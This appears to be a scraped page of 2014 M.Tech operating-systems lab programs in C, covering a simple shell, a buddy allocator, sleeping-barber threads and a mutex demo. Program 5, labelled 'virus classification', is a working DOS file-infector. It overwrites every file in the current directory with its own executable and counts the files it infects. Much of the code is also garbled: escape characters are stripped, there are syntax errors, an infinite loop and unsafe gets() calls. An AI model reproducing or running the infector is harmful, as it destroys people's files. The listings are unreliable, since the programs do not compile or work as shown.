M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

PROGRAM 1
Design and develop a shell that supports at least 20 commands
#include<stdio.h>
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
void parse(char *cmd,char **arguvec)
{
while(*cmd!='0')
{
while(*cmd==' ' || *cmd=='t' || *cmd=='n')
*cmd++='0';
*arguvec++=cmd;
while(*cmd!='0' && *cmd!=' ' && *cmd!='t' && *cmd!='n')
cmd++;
}
*arguvec++='0';
}
void cmdexecute(char **arguvec)
{
pid_t pid;
int status;
pid=fork();
if(pid<0)
{

printf("error in creating forkn");
exit(0);
}
else if(pid==0)
{
if(execvp(*arguvec,arguvec)<0)
{
printf("error in calling executionn");
exit(0);
}
}
else
{
while(wait(&status)!=pid);
}
}
int main()
{
char cmd[1024];
char *arguvec[20];
while(1)
{
printf ("[MYSHELL]");
gets(cmd);
parse (cmd,arguvec);
if(strcmp(arguvec[0]),"exit"==0)

{
exit(0);
}
cmdexecute(arguvec);
}
return 0;
}
SAMPLE INPUT/OUTPUT
[root@localhost ]$ vi myshell.c
[students@localhost ]$ cc myshell.c
[students@localhost ]$ ./a.out
[MYSHELL] date
Mon Dec 8 14:14:17 IST 2014
[MYSHELL]ls
a.out p1.c p2.c myshell.c
[MYSHELL]pwd
/home/students
[MYSHELL]ls -i
1192724 a.out 1192748 p1.c 1192767 p2.c
[MYSHELL]ls -a
. .. a.out p1.c p2.c
[MYSHELL]echo citech
citech
[MYSHELL]cat hello.c
#include<stdio.h>
void main()
{
printf("HELLO WORLD");
}

Program 2
Design and develop a program to implement lazy buddy algorithm
#include<stdio.h>
int tree[2050],i,j,k;
void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int);
int place(int),power(int,int);
main()
{
int totsize,cho,req;
printf("n B U D D Y S Y S T E M R E Q U I R E M E N T Sn");
printf("* Enter the Size of the memory :");
scanf("%d",&totsize);
while(1)
{
printf("n B U D D Y S Y S T E M n");
printf("*****************************n");
printf("* 1) Locate the process into the Memoryn");
printf("* 2) Remove the process from Memoryn");
printf("* 3) Tree structure for Memory aloc tn Mapn");
printf("* 4) Exitn");
printf("* Enter your choice :");
scanf("%d",&cho);
switch(cho)
{

case 1:
printf("nM E M O R Y A L L O C A T I O Nn");
printf("************************************n");
printf("* Enter the Process size : ");
scanf("%d",&req);
segmentalloc(totsize,req);
break;
case 2:
printf("n M E M O R Y D E A L L O C A T I ONn");
printf("n ******************n");
printf(" Enter the process size : n");
scanf("%d",&req);
makefree(req);
break;
case 3:
printf("n M E M O R Y A L L O C A T I O N M A Pn");
printf("*********************************************************n");
printing(totsize,0);
break;
default:
return;
}
}
}

void segmentalloc(int totsize,int request)
{
int flevel=0,size;
size=totsize;
if(request>=totsize)
{
printf("%c R E S U L T : ",2);
printf("* The system don't have enough free memoryn");
printf("* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL MEMORYn");
return;
}
while(1)
{
if(request<size && request>=(size/2))
break;
else
{
size/=2;
flevel++;
}
}
for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++)
if(tree[i]==0 && place(i))
{

tree[i]=request;
makedivided(i);
printf("n Result : Successful Allocation n");
break;
}
if(i==power(2,flevel+1)-1)
{
printf("%c Result : ");
printf("n* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL Memory Moden");
}
}
void makedivided(int node)
{
while(node!=0)
{
node=node%2==0?(node-1)/2:node/2;
tree[node]=1;
}
}
int place(int node)
{
while(node!=0)
{

if(tree[node]>1)
return 0;
}
return 1;
}
void makefree(int request)
{
int node=0;
while(1)
{
if(tree[node]==request)
break;
else
node++;
}
tree[node]=0;
while(node!=0)
{
if(tree[node%2==0?node-1:node+1]==0 && tree[node]==0)
{
tree[node%2==0?(node-1)/2:node/2]=0;
printf(" Result : SuccessfullDeallocationn");
}
else break;

}
}
int power(int x,int y)
{
int z,ans;
if(y==0) return 1;
ans=x;
for(z=1;z<y;z++)
ans*=x;
return ans;
}
void printing(int totsize,int node)
{
int permission=0,llimit,ulimit,tab;
if(node==0)
permission=1;
else if(node%2==0)
permission=tree[(node-1)/2]==1?1:0;
else
permission=tree[node/2]==1?1:0;
if(permission)
{
llimit=ulimit=tab=0;
while(1)
{

if(node>=llimit&& node<=ulimit)
break;
else
{
tab++;
printf(" ");
llimit=ulimit+1;
ulimit=2*ulimit+2;
}
}
printf(" %d ",totsize/power(2,tab));
if(tree[node]>1)
printf("---> Allocated %d",tree[node]);
else if(tree[node]==1)
printf("---> Divided");
else printf("---> Freen");
printing(totsize,2*node+1);
printing(totsize,2*node+2);
}
}
Program 2/ OUT PUT:
[root@localhost ~]# cc pgm1.c
[root@localhost ~]# ./a.out
B U D D Y S Y S T E M R E Q U I R E M E N T S
* Enter the Size of the memory : 1400
B U D D Y S Y S T E M
*****************************

* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 600
Result : Successful Allocation
*****************************
* 4) Exit
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Free
*****************************
* 4) Exit
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 14
************************************
Result : Successful Allocation
*****************************

* 4) Exit
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400
*****************************
* 4) Exit
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size : 600
*****************************
* 4) Exit
**********************************************
1400 ---> Divided 700 ---> Free
700 ---> Allocated 400
*****************************

* 4) Exit
************************************
Result :
* The system don't have enough free memory
* Suggession : Go for VIRTUAL Memory Mode
*****************************
* 4) Exit
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size :400
Result :SuccessfullDeallocation
*****************************
* 4) Exit
**********************************************
1400 ---> Free

*****************************
* 4) Exit
* Enter your choice :

Program 3
Write a multi-class multithreaded program that simulates multiple sleeping barbers, all
in one barbershop that has a finite number of chairs in the waiting room. Each customer
is instantiated from a single customer class; each barber is instantiated from a single
Barber class.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<semaphore.h>
#define MAX_CHAIRS 4
#define CUT_TIME 1
#define NUM_BARB 2
#define MAX_CUST 6
int numberoffreeseats=MAX_CUST;
int seatpocket[MAX_CUST];
sem_t customers;
sem_t barbars;
sem_t mutex;
int servemenext=0;
int sitherenext=0;
int count=0;
void barbarthread(void *tmp);
void customerthread(void *tmp);
void wait();

int main()
{
pthread_t barbars[NUM_BARB],customers[MAX_CUST];
int i, status;
sem_init(&customers,0,0);
sem_init(&barbars,0,0);
sem_init(&mutex,0,1);
printf("barbar shop opensn");
for(i=0;i<NUM_BARB;i++)
{
status=pthread_create(&barbars[i],NULL,(void*)barbarthread,(void*)&i);
sleep(1);
if(status!=0)
perror("no barbar presentn");
}
for(i=0;i<MAX_CUST;i++)
{
status=pthread_create(&customers[i],NULL,(void*)customerthread,(void *)&i);
wait();
if(status!=0)
perror("no customers yetn");
}
for(i=0;i<MAX_CUST;i++)

pthread_join(customers[i],NULL);
printf("barbar shop closesn");
exit(EXIT_SUCCESS);
}
void customerthread(void *tmp)
{
int myseat,b;
sem_wait(&mutex);
count++;
printf("customer %d enterred shopn",count);
if(numberoffreeseats>0)
{
--numberoffreeseats;
printf("customer %d waits in the roomn",count);
sitherenext=(++sitherenext)%MAX_CHAIRS;
myseat=sitherenext;
seatpocket[myseat]=count;
sem_post(&mutex);
sem_post(&barbars);
sem_wait(&customers);
sem_wait(&mutex);
b=seatpocket[myseat];
numberoffreeseats++;
sem_post(&mutex);

}
else
{
sem_post(&mutex);
printf("customer %d finds the no seats and go backn",count);
}
pthread_exit(0);
}
void barbarthread(void *tmp)
{
int index=*(int *)(tmp);
int mynext,c;
printf("barbar %d joins shopn",index+1);
while(1)
{
printf("barbar %d gone to sleepn",index+1);
sem_wait(&barbars);
sem_wait(&mutex);
servemenext=(++servemenext)%MAX_CHAIRS;
mynext=servemenext;
c=seatpocket[mynext];
seatpocket[mynext]=pthread_self();
sem_post(&mutex);
sem_post(&customers);
printf("barbar %d wakes up andis cutting hair of customer %dn",index+1,c);

sleep(CUT_TIME);
printf("barbar %d finishesn",index+1);
}
}
void wait()
{
int x=rand()%(250000-50000+1)+50000;
srand(time(NULL));
usleep(x);
}
Sample Input/Output :
!!Barber Shop Opens!!
Barber-1 Joins Shop.Barber-1 Gone To Sleep.
Barber-2 Joins Shop.Barber-2 Gone To Sleep.
Customer-1 Entered Shop. Customer-1 Sits In Waiting Room.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-1.
Barber-1 Finishes.Barber-1 Gone To Sleep.
!!Barber Shop Closes!!

PROGRAM 4
Use ECOS operating system to develop a program for controlling
accessing to a pool of resources using mutexes and condition variables.
#include <string.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
pthread_t tid[2];
int counter;
pthread_mutex_t lock;
void* processloop(void *arg)
{
pthread_mutex_lock(&lock); // lock code
unsigned long i = 0;
counter += 1;
printf("n Job %d startedn", counter);
for(i=0; i<1;i++)
printf("n Job %d finishedn", counter);
pthread_mutex_unlock(&lock); // unlock code
return NULL;
}

int main(void)
{
int i = 0;
int err;
if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock
{
printf("n mutex init failedn");
return 1;
}
while(i < 2)
{
err = pthread_create(&(tid[i]), NULL, &processloop, NULL);
if (err != 0)
printf("ncan't create thread :[%s]", strerror(err));
i++;
}
pthread_join(tid[0], NULL);
pthread_join(tid[1], NULL);
pthread_mutex_destroy(&lock);
return 0;

Program 5
Design and develop a program to realize the virus classification, such
as boot sector infector, file infector and macro virus.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
Int done,a=0; unsigned long x;
Char buff[2048];
struct ffblk ffblk; clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL)
goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus); fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;
next:
{
fcloseall();

done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”, (end-st));
}

M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

Empfohlen

Empfohlen

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (20)

Andere mochten auch

Andere mochten auch (20)

Ähnlich wie M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

Ähnlich wie M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014 (20)

Kürzlich hochgeladen

Kürzlich hochgeladen (20)

M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014